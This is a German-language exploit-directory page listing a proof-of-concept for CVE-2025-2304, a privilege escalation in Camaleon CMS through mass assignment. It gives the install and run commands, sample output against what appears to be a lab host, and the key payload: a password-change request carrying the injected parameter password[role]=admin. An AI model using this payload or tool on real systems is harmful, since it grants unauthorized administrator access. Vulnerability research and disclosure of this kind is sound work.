Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/lil0xplorer/cve-2025-2304-poc
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHublil0xplorer/cve-2025-2304-poc

CVE-2025-2304-PoC

PoC für CVE-2025-2304 Privilegienerweiterung im Camaleon CMS

Repository anzeigen
1vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-2304 Exploit

Camaleon CMS ist anfällig für Privilegienausweitung durch Mass Assignment

Vulnerability Description

Im Camaleon CMS existiert eine Privilegienausweitung durch Mass Assignment.

Wenn ein Benutzer sein Passwort ändern möchte, wird die Methode 'updated_ajax' des UsersController aufgerufen. Die Schwachstelle resultiert aus der Verwendung der gefährlichen Methode permit!, die alle Parameter ohne jegliche Filterung durchlässt.

Requirements

root@kitploit:~
pip install requests beautifulsoup4

Usage

root@kitploit:~
python exploit.py --url http://target.com -u username -p password

Arguments

  • --url - Basis-URL der verwundbaren Anwendung
  • -u - Benutzername für die Authentifizierung
  • -p - Passwort für die Authentifizierung

Example

root@kitploit:~
python exploit.py --url http://facts.htb -u krrish -p krrish

Output:

root@kitploit:~
[*] Logging in as krrish...
[*] Exploiting...
[+] Exploited! You're admin now

How It Works

  1. Authentifiziert sich mit den angegebenen Anmeldedaten
  2. Sendet eine Passwortänderungsanfrage mit injiziertem Parameter password[role]=admin
  3. Eskaliert die Benutzerrechte auf Administrator

Disclaimer

Dieses Tool dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Unbefugter Zugriff auf Computersysteme ist illegal.

Author

https://x.com/krrishbhurani

https://www.linkedin.com/in/krrish-bhurani/

Tool herunterladen